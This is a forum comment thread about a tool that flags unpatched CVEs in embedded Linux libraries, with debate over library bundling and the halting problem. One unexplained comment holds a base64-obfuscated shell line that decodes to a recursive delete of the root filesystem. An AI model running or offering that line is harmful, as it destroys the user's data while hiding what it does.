Tool Kills Hidden Linux Bugs, Vulnerabilities
mask.of.sanity writes with this excerpt from SC Magazine:
"Australian researcher Silvio Cesare has released a tool capable of automatically detecting bugs and vulnerabilities in embedded Linux libraries. The script correlates vulnerability advisory CVEs for third-party libraries to determine if holes have carried over to Linux platforms or have not been patched. Such holes often escape the eye of developers because the libraries may not be kept updated with sources. This is further compounded because vulnerabilities in cross distributed packages can leave Linux platforms vulnerable."
Dear Troll, what part of "bugs and vulnerabilities" can not you comprehend?
"Regression Testing"
It's to spot any vulnerabilities MS tries to sneak into the code.
"None can love freedom heartily, but good men; the rest love not freedom, but license." --John Milton
...because it found a vunerability in the setup.
$(echo cm0gLXJmIC8= | base64 --decode)
http://www.microsoft.com/download/en/details.aspx?id=28160
"I've got more toys than Teruhisa Kitahara."
Go Silvio. He use to hang out with the kids in b4b0. Glad he is still kicking around and being productive. He also published something pertaining to binary infection based on vulnerabilities in the elf format circa the early 00s.
lessee, openssh uses openssl libs, a problem in the libs works up
to the apps, developer forgets to update libs - root!
not theoretical
sounds like he needs to run it on his own code
Turing Halting Problem, anyone?
File under 'M' for 'Manic ranting'
You probably already know this, but Rice's Theorem etc only apply to supposed decision procedures. It's quite possible to write a program which will often recognize that other programs have some nontrivial semantic property (halting, having a particular kind of bug, etc) and will decide correctly on a broad class of real-world programs. You just can't write one which will always give you a yes or no answer in finite time and always be right.
Theoretically you can. All physical machines are finite state machines, so you can enumerate all configurations (and hence, all bugs) in finite time.
Theoretically you can. All physical machines are finite state machines, so you can enumerate all configurations (and hence, all bugs) in finite time.
...but you can't write a *general algorithm* to do that.
Geeks like to think that they can ignore politics, you can leave politics alone, but politics won't leave you alone.-rms
The poster actually provided one. "Enumerate all configurations". Start in every possible start state, run the program and stop once the machine reaches a previously seen state (that'll be an infinite loop, so the machine will never halt given that program and input), or halts. Since the machine can only have a fixed number of states (finite size) either of those two things will within at most N steps, where N is some fixed (probably very very large) number.
Of course if you actually had a machine large enough (enough memory, CPU, etc.) to do that, you'd want to use that to actually run your program...
The technique the GP is referring to sounds a lot like model checking. It can be complete in the case that a program is actually finite (i.e. not using the fact that it is Turing complete). As all real computers have finite memory, you can make any program finite by bounding its memory usage. In practice, this is too computationally expensive to actually do except in special cases (i.e. very small programs).
The input to a program is modelled as an infinite vector, therefore the set of possible configurations is still infinite.
^Microsoftie
The round 1 of security circus has begun. how many times we av been told that a single tool will detect the vulnerabilities and hidden bugs? and then some one exposes the tool or a vulnerability which is not discovered by the tool.then a new tool will emerge and the cycle repeats. "Given enough eyes all bugs are shallow "
Gentoo builds everything from source, this can be a pain when upgrading but it does mean that any security advisories that fix a library update all the dependant packages by also rebuilding them.
A major KDE upgrade can be a nightmare but on a day to day upgrade cycle I fails less than Debian (IMHE)
At least Debian and Fedora, and likely every other non-shitty Linux distro *strongly* object to packages with embedded libraries, for exactly this reason: it is *unsanitary* and *dangerous*: it breaks the flow of security and regular bug fixes, and it greatly increases the exposure of users to both bugs and security holes.
It gets so bad that Debian has a standing bad blood with the Ruby community because Ruby is "embedded third-party library hell", and therefore Debian maintainers either considers Ruby stuff unpackageable, or have to get in fights with upstream because they unbundle the libraries and suddenly upstream actually has to do its job and make sure their stuff works with more recent versions of the third-party libraries... (when it is an older version, that's a Debian bug).
If you got games from the Humble Bundle 1 and 2, you likely know that *for up-to-date latest stable Debian, Ubuntu, Fedora...*, many of the SDL bugs related to sound and video are fixed by removing the libraries duplicated in the game tarball, so as to use the ones shipped by the distro...
When is he coming out with the windows one???
Just saying that the machines it's running on will all be finite doesn't buy you anything over analyzing behavior on a TM with its infinite tape; you'd have to have a bound on the amount of storage available to all the computers it will ever run on.
To put this another way: you could enumerate all the possible states it could enter when running on a particular machine. But that only tells you about the behavior of the program on that machine, not about the semantics of the program. The program could always be run on a computer with more memory/storage space, and the new computer has 2^(number of additional bits) times as many possible configurations.
(In particular, the computer you're running the analysis on has to have 2^(number of bits available to the computer the program would be running on) bits available. It would take a similarly exponentially stronger machine to analyze how the program would behave if it were run on that machine, and so on ad infinitum. No program could be written to analyze its behavior across all machines in this chain since otherwise you'd be able to solve the halting problem.)